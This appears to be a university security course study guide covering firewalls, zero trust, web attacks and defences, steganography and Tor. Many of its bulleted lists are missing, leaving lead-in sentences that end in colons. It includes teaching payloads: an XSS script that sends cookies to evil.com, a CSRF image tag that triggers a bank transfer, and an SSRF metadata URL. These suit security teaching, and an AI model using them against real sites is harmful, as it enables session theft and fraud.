A packet filter (also called a screening router) sits at a network boundary and makes independent decisions for each packet based on rules. It examines packet headers and decides whether to allow or drop each packet based on:

Rules are evaluated in order, and processing stops at the first match. This means rule ordering is critical: a broad rule high in the list can shadow more specific rules below it.

Ingress and egress filtering

Ingress filtering applies to inbound traffic and typically follows a “default deny” model:

Egress filtering

Egress filtering controls outbound traffic from internal networks to external ones. While we generally trust internal hosts, it is useful to restrict how a compromised internal host can communicate with the outside. Useful filters can:

Second-Generation Firewalls: Stateful Packet Inspection (SPI)

First-generation packet filters examine each packet independently without remembering past packets. But network protocols like TCP create ongoing conversations between hosts. Stateful packet inspection firewalls track the state of these conversations.

Stateful firewalls track:

Stateful inspection prevents packets from being injected into existing connections, blocks invalid protocol sequences, and supports protocols that rely on multiple coordinated flows.

Security Zones and the DMZ

Organizations rarely have a single “internal” network. Instead, they divide networks into zones with different trust levels and use firewalls to control traffic between zones.

The DMZ (demilitarized zone) is a network segment that hosts Internet-facing services like web servers, mail servers, or DNS servers. These systems must be accessible from the Internet, making them prime targets for attack. The DMZ isolates them from internal networks so that if they're compromised, attackers don't gain direct access to internal systems.

Typical firewall policies between zones are:

Network segmentation

Network segmentation extends this concept inside the organization. Instead of one big internal network, you create separate segments for different functions or sensitivity levels. Examples include separate segments for web servers, application servers, database servers, HR systems, development environments, and guest WiFi.

Segmentation provides several benefits:

Third-Generation Firewalls: Deep Packet Inspection (DPI)

Deep Packet Inspection (DPI) examines application-layer data, not just IP and transport headers. This lets firewalls understand what applications are doing and make more intelligent decisions.

DPI capabilities include:

DPI must keep up with network speeds and can only buffer and inspect a limited portion of the traffic. Encrypted traffic cannot be inspected deeply unless the firewall performs TLS interception, which replaces server certificates and breaks true end-to-end encryption.

Deep Content Inspection (DCI)

Deep Content Inspection (DCI) goes beyond simple DPI by:

Because this is computationally expensive, DCI is usually applied only to traffic that has already been flagged or that matches specific criteria.

Intrusion Detection and Prevention Systems

An IDS (Intrusion Detection System) monitors traffic and raises alerts when it sees suspicious behavior. An IPS (Intrusion Prevention System) sits inline and blocks traffic it identifies as malicious before it reaches its destination. IDS is passive (monitor and alert), while IPS is active (monitor and block).

Detection techniques used by IDS/IPS systems:

Protocol-based detection checks that traffic strictly follows protocol specifications. This includes validating HTTP headers and message structure, ensuring DNS responses match outstanding queries, restricting SMTP to valid commands, and verifying SIP signaling messages. This helps block attacks that rely on malformed or unexpected input.

Signature-based detection compares traffic patterns against a database of known attack signatures. Each signature describes byte sequences or packet patterns that correspond to a specific attack. This is effective for known threats but must be updated frequently and cannot detect new, unknown (zero-day) attacks.

Anomaly-based detection learns what "normal" traffic looks like and flags deviations. Examples include port scanning activity, unusual protocol mixes, or abnormally high traffic volumes. The main challenge is avoiding false positives, since legitimate changes in behavior can look like anomalies.

Challenges for IDS/IPS

Deploying IDS and IPS systems at scale introduces several practical challenges:

Next-Generation Firewalls (NGFW)

NGFWs combine multiple capabilities into one platform: stateful inspection, deep packet inspection, intrusion prevention, TLS inspection, and application and user awareness.

They identify applications by analyzing:

However, NGFW application identification can be evaded by traffic obfuscation (tunnels inside TLS, domain fronting, protocol mimicking).

The key capability is distinguishing applications that all use the same port. Traditional firewalls see "HTTPS traffic on port 443." NGFWs can distinguish Zoom from Dropbox from Netflix, even though all use HTTPS on port 443, and apply different policies to each.

However, NGFWs still cannot see which local process on a host created the traffic. That level of visibility requires host-based firewalls.

Application Proxies

An application proxy sits between clients and servers as an intermediary. The client connects to the proxy, which then opens a separate connection to the real server. This means the proxy terminates one connection and initiates another.

A proxy can terminate TLS and inspect plaintext, but only if configured (and clients trust the proxy’s root certificate).

Application proxies can:

The drawbacks are that proxies must understand each protocol in detail and can become performance bottlenecks if they handle large amounts of traffic.

Host-Based Firewalls

Host-based (or personal) firewalls run on individual systems instead of at the network perimeter. They integrate with the operating system so they can associate each network connection with a specific executable.

Host-based firewalls can:

Their limitations include:

Host-based firewalls work best as part of defense in depth, combined with network firewalls and other controls.

Zero Trust Architecture (ZTA)

The Problem: Deperimeterization

The traditional perimeter model assumed a clear boundary between trusted internal networks and untrusted external networks.

This model is breaking down for several reasons:

The assumption that "inside equals safe" is no longer valid.

Zero Trust Principles

Zero trust abandons the idea that being "inside" a network is enough to be trusted. Instead, each access request is evaluated independently using identity, device state, and context, regardless of the source network.

Core principles of zero trust:

In practice, implementing zero trust is challenging. Ideally, security would be built into applications themselves, with applications authenticating users, verifying authorization, and encrypting data end-to-end. But most existing applications weren't designed this way.

As a practical approach, organizations often implement these ideas through Zero Trust Network Access (ZTNA) systems. These create VPN-like connections between authenticated devices, enforce strict access control policies, monitor and log all access, and use multi-factor authentication. Unlike traditional VPNs that often grant broad network access, ZTNA restricts users and devices to only the specific applications they're authorized to reach.

Microsegmentation in zero trust

Traditional segmentation divides the network into a handful of zones (DMZ, internal, guest). Microsegmentation divides it into very small segments, potentially one per application or per individual virtual machine.

In a microsegmented environment, a compromised web server can't reach database servers for other applications, a compromised workstation can't scan the network or move laterally, and each workload has precisely defined communication policies. This is often enabled by software-defined networking and virtualization technologies. In many deployments, microsegmentation is enforced by distributed firewalls inside the hypervisor or container runtime rather than by perimeter firewalls.

Microsegmentation supports zero trust by ensuring that even if an attacker gains initial access, they're contained within a very limited environment.

Defense in Depth

Modern network security relies on multiple layers of protection so that one failure does not compromise the entire environment. Key layers include:

These layers work together to create resilience rather than relying on any single security mechanism.


Week 12: Web security

Web Security Study Guide

Evolution of browser security

Early web browsers were simple document viewers that displayed static HTML. They weren't interesting security targets because all dynamic behavior happened on servers. The browser just rendered what it received.

Modern browsers have become complete application platforms. They execute JavaScript code downloaded from servers, manipulate page content through the Document Object Model, make asynchronous requests back to servers, and access device sensors. This evolution created a much larger attack surface. More features mean more complexity, and more complexity means more opportunities for vulnerabilities.

WebAssembly extends this further by allowing browsers to execute compiled binary code from languages like C, C++, and Rust. While it runs in a sandbox (and has the same restrictions as JavaScript), the compiled nature makes it harder to detect malicious code compared to JavaScript source.

HTTP versus HTTPS

HTTP transmits everything in plaintext. Anyone monitoring network traffic can see the URLs you visit, page contents, form data, and cookies. This is particularly dangerous on public WiFi.

HTTPS encrypts all communication between browser and server using TLS. This protects against three key threats:

However, understand what HTTPS does NOT protect:

HTTPS provides a secure channel, but you must verify you're communicating with the right party.

Same-origin policy

The same-origin policy is the cornerstone of web security. It restricts how content from one origin can interact with content from another origin.

An origin is defined by three components: protocol (http vs https), hostname (including subdomains), and port number. All three must match for origins to be the same. If a port is not specified, the browser assume 80 for http and 443 for https.

Examples using http://www.example.com:80/page.html as the reference:

The same-origin policy restricts:

The same-origin policy allows:

The distinction: you can embed or link to content, but you generally cannot read that content.

Passive content restrictions

The same-origin policy has interesting restrictions on passive content (non-executable content like images and CSS). While JavaScript can embed passive content from other origins, it cannot inspect that content:

These restrictions prevent scripts from stealing embedded content while still allowing the embedding necessary for the web to function.

Frames and isolation

An iFrame embeds one web page within another. Advertisements, social media widgets, and embedded content typically use iFrames. The browser treats each frame as a separate origin and applies the same-origin policy to isolate them. A script in the parent page cannot access the DOM of an iframe from a different origin, and vice versa.

Document Object Model (DOM)

The DOM represents an HTML document as a tree of objects that JavaScript can access and manipulate. This enables modern interactive web pages. The security concern is that if an attacker can inject JavaScript into your page, they can manipulate the DOM to change what users see, steal information, or redirect users. This is the basis of cross-site scripting attacks.

Cookies

Cookies are the primary mechanism for maintaining state in HTTP. The server sends a Set-Cookie header, the browser stores it, and the browser automatically includes it in subsequent requests to the same server.

Cookies are used for three main purposes:

Session management (authentication cookies): These pass identification about a user's login session. When you log in, the server sends a cookie with a session ID. This cookie is sent with every subsequent request so the server can identify you. This is why Amazon and Facebook don't prompt you for login every time you visit. Session management cookies may also pass shopping cart identifiers, even if you're not logged in.

Personalization: These identify user preferences such as font sizes, types of content to present, or language preferences. They may also include data that will be pre-filled into web forms.

Tracking: These monitor user activity across visits. If a browser doesn't send a cookie on a page request, the server creates a new cookie with a unique identifier. The server logs each page visit with that user's identifier. If you later log in or create an account, the server can associate all the tracked data with your specific user account.

Even though we refer to cookies as authentication cookies or tracking cookies, they all use the same mechanism. It's just a matter of how applications use them.

Critical security attributes you need to know:

Important: cookies don't follow the same-origin policy. They're scoped by domain and path, not port, and this is intentional. This creates security issues taht can be exploited in CSRF attacks.

Session management vulnerabilities

After login, servers typically set a session cookie containing a session ID. This ID identifies you in subsequent requests. Several attacks target this mechanism:

Session hijacking is when an attacker obtains your session ID and uses it to impersonate you. This can happen through:

Session fixation is when an attacker sets your session ID to a value they know before you log in. The attack sequence:

  1. Attacker obtains a valid session ID from the target site

  2. Attacker tricks you into using this session ID (through a crafted URL)

  3. You log in using the attacker's session ID

  4. The site authenticates you, but keeps the same session ID

  5. The attacker now has a valid, authenticated session as you

Defense: Always regenerate session IDs after successful login.

Inadequate session expiration means sessions remain valid too long. Stolen session IDs can be used indefinitely if sessions never expire. Sessions should expire after inactivity and have an absolute maximum lifetime.

Cross-Origin Resource Sharing (CORS)

Sometimes web applications legitimately need to make cross-origin requests. For example, a single-page app at app.example.com might need to fetch data from an API at api.example.com.

CORS allows servers to relax the same-origin policy in a controlled way using HTTP headers. The browser sends an Origin header with the request. The server responds with Access-Control-Allow-Origin indicating which origins are permitted. If the origin matches, the browser allows JavaScript to read the response.

Key points:

Content Security Policy (CSP)

CSP helps prevent cross-site scripting and code injection attacks. It's implemented through an HTTP response header that specifies which resources the browser is allowed to load.

Example: Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

This says resources should only load from the same origin by default, but scripts can additionally load from the specified CDN.

The key concept: CSP provides a whitelist of trusted sources. Even if an attacker injects HTML trying to load a malicious script, the browser blocks it if it doesn't come from an allowed source. This is defense in depth. Even if input validation fails and XSS is possible, CSP can prevent the malicious script from executing.

The challenge of input validation

The advice "validate all input" is deceptively simple. The problem is that what constitutes valid input depends entirely on context. The same data might be safe in one context but dangerous in another.

Consider the name O'Brien:

You cannot check if input is "safe" in general. You must validate or encode based on how the data will be used. This is context-dependent at multiple layers. HTML encoding turns < into &lt;, which works for HTML content. But if you're inserting data into a JavaScript string within an HTML page, you need JavaScript encoding, not HTML encoding.

Cross-site scripting (XSS)

XSS is an attack where an attacker injects malicious scripts into web pages viewed by other users. When victims visit the page, the script executes in their browser with full access to the page's DOM, cookies (unless HttpOnly), and session storage.

Stored XSS: The malicious script is permanently stored on the target server (in a database, comment field, forum post). When other users view the page containing the stored data, the script executes.

Example: Attacker posts a comment containing <script>document.location='http://evil.com/steal?cookie='+document.cookie;</script>. When users view the comment, their cookies are sent to the attacker's server.

Reflected XSS: The malicious script is reflected back to the user immediately in the server's response. Typically occurs when user input is included in the response without proper sanitization.

Example: A search page displays "You searched for: [query]" and the query contains <script>alert('XSS')</script>. Attackers trick victims into clicking malicious links through phishing.

DOM-based XSS: The vulnerability exists entirely in client-side JavaScript that processes user input unsafely. The malicious data never goes to the server but is processed directly in the browser.

Example: JavaScript that reads a URL parameter and inserts it directly into the page using innerHTML.

Prevention:

Cross-site request forgery (CSRF)

CSRF tricks a victim's browser into making unwanted requests to a web application where the victim is authenticated. It exploits the fact that browsers automatically include cookies with requests, even when those requests originate from other sites.

Attack scenario: You're logged into your bank at bank.com, which sets a session cookie. You then visit evil.com while still logged in. The malicious site contains:

<img src="https://bank.com/transfer?to=attacker&amount=1000">

Your browser automatically makes a GET request to bank.com/transfer and includes your bank.com cookies. If the bank relies solely on session cookies for authentication, the transfer succeeds.

The attack works because:

  1. The browser automatically includes cookies with requests

  2. The bank cannot distinguish this request from a legitimate one

  3. The same-origin policy doesn't prevent making the request, only reading the response

Prevention strategies:

Clickjacking

Clickjacking tricks users into clicking something different from what they perceive. The attacker embeds the target site in a transparent iframe positioned over a decoy element.

Example: An attacker creates a page saying "Click here to win a free iPad!" but places a transparent iframe containing your bank's "confirm transfer" button precisely where users will click. When victims click for their prize, they're actually clicking the hidden bank button.

Prevention:

JavaScript-based frame-busting approaches are not reliable. HTTP headers are the preferred solution.

Server-side request forgery (SSRF)

SSRF is when an attacker causes a server to make HTTP requests to unintended locations. This can expose internal services, bypass firewall restrictions, or access cloud metadata services.

Example: A web application fetches content from user-provided URLs. An attacker requests http://localhost/admin or http://169.254.169.254/latest/meta-data/ (the cloud metadata service). The server makes requests to these URLs, which might not be accessible from the public internet but are accessible from the server itself. In cloud environments, metadata services can contain sensitive information like API credentials.

Prevention: Whitelist allowed destinations, block private IP ranges and cloud metadata services, use proper URL parsing to validate hostnames, disable or limit redirects, and use network segmentation to isolate web applications from sensitive internal services.

MIME sniffing attack

Passive content (images, videos, stylesheets) is considered to have no authority because it cannot execute scripts or interact with the DOM. However, browsers sometimes perform MIME sniffing, trying to guess the content type based on actual content rather than the declared MIME type.

Attackers exploit this by uploading malicious content disguised as passive content. For example, an attacker uploads a file crafted to look like an image but containing JavaScript code. The file is declared as an image (Content-Type: image/jpeg), and the server accepts it. When a browser requests this file and performs MIME sniffing, it may decide the content looks like HTML or JavaScript and execute it as a script rather than treating it as an image.

This allows the attacker to inject and execute malicious code, bypassing server-side input validation that only checks file extensions or declared content types.

Defense: Web servers should include the X-Content-Type-Options: nosniff header, which instructs browsers not to perform MIME sniffing and to strictly interpret content based on its declared Content-Type.

User tracking

Beyond direct security attacks, web technology enables extensive tracking of user behavior across sites.

Third-party cookies: When you visit shopping.com that includes an image from adnetwork.com, that ad network can set a cookie. Later, when you visit news.com that also includes content from adnetwork.com, your browser sends that cookie. The ad network now knows the same user visited both sites. Over time, this builds a profile of your browsing across all sites using that ad network.

Modern browsers defend against this by blocking third-party cookies by default (Safari, Firefox) or partitioning storage by top-level site so third-party cookies are isolated per site.

Tracking pixels: A tiny, typically transparent image embedded in a page or email. When your browser loads it, the server records information about the visit. If it sets a cookie, it can track you across visits and sites. Used for web analytics, conversion tracking, email tracking (detecting when emails are opened), and retargeting (serving ads for products you previously viewed).

Browser fingerprinting: Identifying browsers based on their unique combination of characteristics, including browser version, operating system, screen resolution, installed fonts, time zone, canvas rendering, WebGL information, and audio processing. These attributes often create a unique fingerprint that can identify a specific browser even without cookies. Harder to defend against because it doesn't rely on storing data in the browser.

Social engineering and user deception

Homograph attacks: Exploiting Unicode characters that look similar to ASCII characters. An attacker registers pаypal.com (with a Cyrillic 'a') which usually looks identical to paypal.com but is a completely different domain. Other confusable characters include Cyrillic 'о' versus Latin 'o', and the number '1' versus lowercase 'L' versus uppercase 'I'. Modern browsers display warnings for mixed-script domains but aren't perfect.

Subdomain tricks and misleading domain names (combosquattting and typosquatting): Creating domains like paypal.com.evil-site.com or login-paypal.com-secure.phishing.com. Users who don't carefully read the full domain from right to left might be deceived. The actual domain is what comes before the final top-level domain.

Visual spoofing: Websites display fake certification logos, copy legitimate brand designs, create fake browser warnings, or make fake close buttons that actually link to malicious content. Users should verify security claims through independent channels.

Status bar spoofing: JavaScript can change a link's destination after the status bar displays a benign URL. When you hover, you see the legitimate URL, but clicking takes you elsewhere. Typing URLs directly or using bookmarks is safer for critical sites.

https security: HTTPS only means the connection is encrypted, not that the site is trustworthy. An attacker can get valid certificates for their own malicious domains. Users may mistake a secure connection for a trustworthy one.


Week 13: Steganogrpahy, Watermarking, and Onion Routing

Steganography vs. Watermarking

Steganography hides the existence of a message within a cover object. The goal is undetectability--an observer should not realize hidden data is present. It is primarily used for one-to-one communication.

Three characteristics define steganography:

  1. The cover object appears untouched (modifications are invisible and statistically difficult to detect)

  2. The hidden data is a payload (arbitrary messages transmitted secretly)

  3. The adversary model is detection (if an analyst suspects hidden data exists, the mission fails)

Watermarking embeds identifying information into content so it persists even if someone tries to remove it. The goal is persistence, not secrecy. It is primarily used for one-to-many communication.

Three characteristics define watermarking:

  1. The watermark does not need to be hidden

  2. The watermark is tied to the object (ownership, license, or tracking data), not a message payload

  3. The adversary model is removal (the watermark should survive cropping, compression, and other transformations)

Fingerprinting is a variant of watermarking that embeds unique identifying information into each distributed copy, allowing leaked copies to be traced to specific recipients.

Classic Steganography Techniques

Null ciphers (concealment ciphers) hide messages within ordinary text using predefined patterns, such as taking specific letters after punctuation marks or the nth letter of each word.

Invisible ink conceals messages that become visible only under certain conditions (heat, UV light, or chemicals).

Microdots shrink messages to the size of a period, embedded in documents or images.

Chaffing and winnowing (Ron Rivest, 1998) pairs real messages with irrelevant data, each accompanied by a MAC. Only those with the key can verify which messages are authentic. This achieves confidentiality without encryption.

Digital Steganography

Image Steganography

Three common methods hide messages in images:

The choice of cover medium matters. High-noise content (photographs, music) hides changes better than simple graphics with solid colors.

Audio Steganography

Audio steganography exploits psychoacoustic principles to hide data where humans won't notice distortion. Techniques include LSB encoding, echo hiding (adding imperceptible echoes), phase coding, and spread spectrum methods.

Network Steganography

Data can be hidden in network communication through packet headers, timing intervals between packets, TCP initial sequence numbers, or DNS queries and responses. DNS-based steganography is commonly used for malware command-and-control communication.

Watermarking Applications

Printer Tracking Dots

Many color laser printers embed nearly invisible yellow dots encoding the printer's serial number and timestamp on every page printed. This enables tracing documents to their source printer.

Fragile vs. Robust Watermarks

Fragile watermarks break if content is modified. Used for authentication and tamper detection (currency, passports, tickets).

Robust watermarks survive transformation. Used for tracking ownership and authorship (photos, videos, documents).

Steganography for Malware

Attackers use steganography to deliver malware past content-inspecting firewalls and to exfiltrate data through innocent-looking uploads. Malicious payloads can be hidden in images, audio, or other media files that appear harmless to security tools.

Steganalysis

Steganalysis is the practice of detecting hidden content in files. The more data hidden, the greater the risk of detectable artifacts.

Anonymous Communication

Limits of Private Browsing

Browser private modes (Incognito, InPrivate) don't send cookies, don't save history, and discard cached pages at session end. However, they do not provide true privacy:

Commercial VPNs hide your IP from destinations but the VPN provider knows your activity.

The Dark Web

The surface web is content indexed by search engines. The deep web is unindexed content (database query results, private pages). The dark web is intentionally hidden content that requires special software, such as Tor, to access.

Dark web services use .onion addresses derived from hashed public keys. Both legitimate services (news outlets, SecureDrop, search engines) and illicit services operate on the dark web.

Tor (The Onion Router)

How Tor Works

Tor provides anonymous browsing through volunteer-operated relays. Users download the Tor Consensus Document, which describes the entire network: all valid relays, their IP addresses, ports, bandwidth, and their public keys. This document is signed by trusted directory authorities and updated hourly.

Tor provides two forms of anonymity:

Circuits

Users build circuits through three relays (entry, middle, exit). Each relay only knows its immediate neighbors in the chain. The entry relay knows the user's IP address but not the destination. The exit relay knows the destination but not the user.

Circuit setup uses the relay public keys from the consensus document to establish session keys:

  1. User establishes TLS link to Relay1, uses Relay1's public key to negotiate symmetric session key S1

  2. User extends circuit to Relay2 through Relay1, uses Relay2's public key to negotiate session key S2

  3. User extends circuit to Relay3 through Relay1 and Relay2, uses Relay3's public key to negotiate session key S3

Only each respective relay can decrypt its session key. Messages are then encrypted in layers (S3, then S2, then S1). Each relay strips one layer before forwarding.

Tor is not a VPN. It does not encapsulate IP packets but relays data streams. End-to-end TLS can still be used on top of Tor.

Limitations

Correlation attacks: If an attacker observes both entry and exit traffic, they can correlate timing and message sizes to link users to destinations.

Compromised exit nodes: Exit relays decrypt the final layer and contact destinations. Unencrypted traffic is visible to the exit node.

Sybil attacks: An adversary running many relays (entry and exit) can break anonymity for circuits using their nodes.

Censorship: Governments can block known Tor relays. Tor addresses this with bridges--unlisted relays using obfuscated protocols (obfs4) to disguise Tor traffic.

I2P (Invisible Internet Project)

I2P uses garlic routing, which bundles multiple messages together at each relay (making traffic analysis harder). Unlike Tor's bidirectional circuits, I2P uses separate unidirectional tunnels for inbound and outbound traffic.

Tor focuses on anonymous access to services. I2P focuses on anonymous hosting of services using a distributed hash table for routing.